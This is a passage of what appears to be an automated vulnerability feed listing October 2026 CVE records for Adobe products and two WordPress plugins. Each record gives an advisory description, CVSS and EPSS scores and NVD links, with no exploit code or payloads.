Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Bridge is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-100129
Bridge is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Bridge is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-100129).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-100129&date=2026-10-25).
Sources:
NVD CVE-2026-100129: https://nvd.nist.gov/vuln/detail/CVE-2026-100129
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-100129&date=2026-10-25
Bridge is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Dimension is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-103844
Dimension is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Dimension is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103844).
EPSS 0.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103844&date=2026-10-25).
Sources:
NVD CVE-2026-103844: https://nvd.nist.gov/vuln/detail/CVE-2026-103844
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103844&date=2026-10-25
Dimension is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Dimension is affected by an Uncontrolled Search Path Element vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-103845
Dimension is affected by an Uncontrolled Search Path Element vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Dimension is affected by an Uncontrolled Search Path Element vulnerability that could result in arbitrary code execution in the context of the current user. A local attacker with user permissions could exploit this vulnerability to execute arbitrary code. Exploitation of this issue requires user interaction in that a victim must run the application. Scope is changed.
CVSS 8.6 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103845).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103845&date=2026-10-25).
Sources:
NVD CVE-2026-103845: https://nvd.nist.gov/vuln/detail/CVE-2026-103845
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103845&date=2026-10-25
Dimension is affected by an Uncontrolled Search Path Element vulnerability that could result in arbitrary code execution in the context of the current user. A local attacker with user permissions could exploit this vulnerability to execute arbitrary code. Exploitation of this issue requires user interaction in that a victim must run the application. Scope is changed.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Dimension is affected by an Improper Neutralization of Input During Web Page Generation vulnerability that could result in arbitrary code execution in the context of the current...
https://kevwire.com/record/CVE-2026-103846
Dimension is affected by an Improper Neutralization of Input During Web Page Generation vulnerability that could result in arbitrary code execution in the context of the current... (Oct 13, 2026).
Dimension is affected by an Improper Neutralization of Input During Web Page Generation vulnerability that could result in arbitrary code execution in the context of the current user. A local attacker with user permissions could exploit this vulnerability to execute arbitrary code. Exploitation of this issue requires user interaction in that a victim must run the application. Scope is changed.
CVSS 8.6 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103846).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103846&date=2026-10-25).
Sources:
NVD CVE-2026-103846: https://nvd.nist.gov/vuln/detail/CVE-2026-103846
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103846&date=2026-10-25
Dimension is affected by an Improper Neutralization of Input During Web Page Generation vulnerability that could result in arbitrary code execution in the context of the current user. A local attacker with user permissions could exploit this vulnerability to execute arbitrary code. Exploitation of this issue requires user interaction in that a victim must run the application. Scope is changed.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Dimension is affected by an Untrusted Search Path vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-103847
Dimension is affected by an Untrusted Search Path vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Dimension is affected by an Untrusted Search Path vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. A local attacker with user permissions could exploit this vulnerability to execute arbitrary code. Exploitation of this issue requires user interaction in that a victim must run the application. Scope is changed.
CVSS 8.6 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103847).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103847&date=2026-10-25).
Sources:
NVD CVE-2026-103847: https://nvd.nist.gov/vuln/detail/CVE-2026-103847
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103847&date=2026-10-25
Dimension is affected by an Untrusted Search Path vulnerability that could result in arbitrary code execution in the context of the current user. An attacker could exploit this vulnerability to execute arbitrary code. A local attacker with user permissions could exploit this vulnerability to execute arbitrary code. Exploitation of this issue requires user interaction in that a victim must run the application. Scope is changed.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Adobe Experience Manager is affected by an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability that could result in arbitrary...
https://kevwire.com/record/CVE-2026-103848
Adobe Experience Manager is affected by an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability that could result in arbitrary... (Oct 13, 2026).
Adobe Experience Manager is affected by an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.
CVSS 9.9 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103848).
EPSS 1.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103848&date=2026-10-25).
Sources:
NVD CVE-2026-103848: https://nvd.nist.gov/vuln/detail/CVE-2026-103848
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103848&date=2026-10-25
Adobe Experience Manager is affected by an Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') vulnerability that could result in arbitrary code execution in the context of the current user. A low-privileged attacker could exploit this vulnerability to execute arbitrary code. Exploitation of this issue does not require user interaction. Scope is changed.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Dimension is affected by a Stack-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-103854
Dimension is affected by a Stack-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Dimension is affected by a Stack-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103854).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103854&date=2026-10-25).
Sources:
NVD CVE-2026-103854: https://nvd.nist.gov/vuln/detail/CVE-2026-103854
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103854&date=2026-10-25
Dimension is affected by a Stack-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Adobe Framemaker is affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-103966
Adobe Framemaker is affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Adobe Framemaker is affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103966).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103966&date=2026-10-25).
Sources:
NVD CVE-2026-103966: https://nvd.nist.gov/vuln/detail/CVE-2026-103966
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103966&date=2026-10-25
Adobe Framemaker is affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Adobe Framemaker is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-103967
Adobe Framemaker is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Adobe Framemaker is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-103967).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-103967&date=2026-10-25).
Sources:
NVD CVE-2026-103967: https://nvd.nist.gov/vuln/detail/CVE-2026-103967
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-103967&date=2026-10-25
Adobe Framemaker is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Adobe Framemaker is affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-104340
Adobe Framemaker is affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Adobe Framemaker is affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104340).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104340&date=2026-10-25).
Sources:
NVD CVE-2026-104340: https://nvd.nist.gov/vuln/detail/CVE-2026-104340
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104340&date=2026-10-25
Adobe Framemaker is affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Adobe Framemaker is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-104341
Adobe Framemaker is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Adobe Framemaker is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104341).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104341&date=2026-10-25).
Sources:
NVD CVE-2026-104341: https://nvd.nist.gov/vuln/detail/CVE-2026-104341
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104341&date=2026-10-25
Adobe Framemaker is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Adobe Framemaker is affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-104342
Adobe Framemaker is affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Adobe Framemaker is affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104342).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104342&date=2026-10-25).
Sources:
NVD CVE-2026-104342: https://nvd.nist.gov/vuln/detail/CVE-2026-104342
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104342&date=2026-10-25
Adobe Framemaker is affected by a Use After Free vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Adobe Framemaker is affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-104344
Adobe Framemaker is affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Adobe Framemaker is affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-104344).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-104344&date=2026-10-25).
Sources:
NVD CVE-2026-104344: https://nvd.nist.gov/vuln/detail/CVE-2026-104344
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-104344&date=2026-10-25
Adobe Framemaker is affected by a Heap-based Buffer Overflow vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Adobe Experience Manager is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user, potentially...
https://kevwire.com/record/CVE-2026-75732
Adobe Experience Manager is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user, potentially... (Oct 13, 2026).
Adobe Experience Manager is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue does not require user interaction. Scope is changed.
CVSS 9.9 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-75732).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-75732&date=2026-10-25).
Sources:
NVD CVE-2026-75732: https://nvd.nist.gov/vuln/detail/CVE-2026-75732
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-75732&date=2026-10-25
Adobe Experience Manager is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue does not require user interaction. Scope is changed.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### ColdFusion RDS is affected by an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability that could lead to arbitrary file system read.
https://kevwire.com/record/CVE-2026-90530
ColdFusion RDS is affected by an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability that could lead to arbitrary file system read. (Oct 13, 2026).
ColdFusion RDS is affected by an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability that could lead to arbitrary file system read. An attacker could exploit this vulnerability to access sensitive files and directories outside the intended access scope. Exploitation of this issue does not require user interaction. Scope is changed.









RDS is purely a development feature meant for debugging purposes, and switching ColdFusion to Production Secure Profile automatically disables RDS. The Lockdown Guide outlines the specific step to disable RDS if a ColdFusion server is not being used in Production Secure Profile.
CVSS 9.3 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-90530).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-90530&date=2026-10-25).
Sources:
NVD CVE-2026-90530: https://nvd.nist.gov/vuln/detail/CVE-2026-90530
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-90530&date=2026-10-25
ColdFusion RDS is affected by an Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability that could lead to arbitrary file system read. An attacker could exploit this vulnerability to access sensitive files and directories outside the intended access scope. Exploitation of this issue does not require user interaction. Scope is changed.









RDS is purely a development feature meant for debugging purposes, and switching ColdFusion to Production Secure Profile automatically disables RDS. The Lockdown Guide outlines the specific step to disable RDS if a ColdFusion server is not being used in Production Secure Profile.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Adobe Experience Manager is affected by an Improper Restriction of XML External Entity Reference ('XXE') vulnerability that could result in privilege escalation.
https://kevwire.com/record/CVE-2026-90531
Adobe Experience Manager is affected by an Improper Restriction of XML External Entity Reference ('XXE') vulnerability that could result in privilege escalation. (Oct 13, 2026).
Adobe Experience Manager is affected by an Improper Restriction of XML External Entity Reference ('XXE') vulnerability that could result in privilege escalation. A low-privileged attacker could exploit this vulnerability to gain elevated access to internal resources. Exploitation of this issue does not require user interaction. Scope is changed.
CVSS 9.6 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-90531).
EPSS 1.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-90531&date=2026-10-25).
Sources:
NVD CVE-2026-90531: https://nvd.nist.gov/vuln/detail/CVE-2026-90531
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-90531&date=2026-10-25
Adobe Experience Manager is affected by an Improper Restriction of XML External Entity Reference ('XXE') vulnerability that could result in privilege escalation. A low-privileged attacker could exploit this vulnerability to gain elevated access to internal resources. Exploitation of this issue does not require user interaction. Scope is changed.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Adobe Experience Manager is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user, potentially...
https://kevwire.com/record/CVE-2026-90532
Adobe Experience Manager is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user, potentially... (Oct 13, 2026).
Adobe Experience Manager is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue does not require user interaction. Scope is changed.
CVSS 10.0 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-90532).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-90532&date=2026-10-25).
Sources:
NVD CVE-2026-90532: https://nvd.nist.gov/vuln/detail/CVE-2026-90532
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-90532&date=2026-10-25
Adobe Experience Manager is affected by an Incorrect Authorization vulnerability that could result in arbitrary code execution in the context of the current user, potentially gaining elevated access or control over the victim's account or session. Exploitation of this issue does not require user interaction. Scope is changed.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user.
https://kevwire.com/record/CVE-2026-96521
Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. (Oct 13, 2026).
Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.
CVSS 7.8 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96521).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96521&date=2026-10-25).
Sources:
NVD CVE-2026-96521: https://nvd.nist.gov/vuln/detail/CVE-2026-96521
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96521&date=2026-10-25
Photoshop Desktop is affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The FV Flowplayer Video Player plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'synopsis' Shortcode Attribute in all versions up to, and including,...
https://kevwire.com/record/CVE-2026-97398
The FV Flowplayer Video Player plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'synopsis' Shortcode Attribute in all versions up to, and including,... (Oct 14, 2026).
The FV Flowplayer Video Player plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'synopsis' Shortcode Attribute in all versions up to, and including, 7.5.54.7212 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This requires the 'Parse Vimeo and YouTube links' (parse_comments) option to be enabled and the liststyle attribute set to "season" for the vulnerable code path to be reached.
CVSS 7.2 (version 3.1; evidence as of Oct 14, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-97398).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-97398&date=2026-10-25).
Sources:
NVD CVE-2026-97398: https://nvd.nist.gov/vuln/detail/CVE-2026-97398
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-97398&date=2026-10-25
The FV Flowplayer Video Player plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'synopsis' Shortcode Attribute in all versions up to, and including, 7.5.54.7212 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This requires the 'Parse Vimeo and YouTube links' (parse_comments) option to be enabled and the liststyle attribute set to "season" for the vulnerable code path to be reached.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### The Form Maker by 10Web – Mobile-Friendly Drag & Drop Contact Form Builder plugin for WordPress is vulnerable to blind SQL Injection via the 'inputs' parameter in all versions up...
https://kevwire.com/record/CVE-2026-95808
The Form Maker by 10Web – Mobile-Friendly Drag & Drop Contact Form Builder plugin for WordPress is vulnerable to blind SQL Injection via the 'inputs' parameter in all versions up... (Oct 14, 2026).
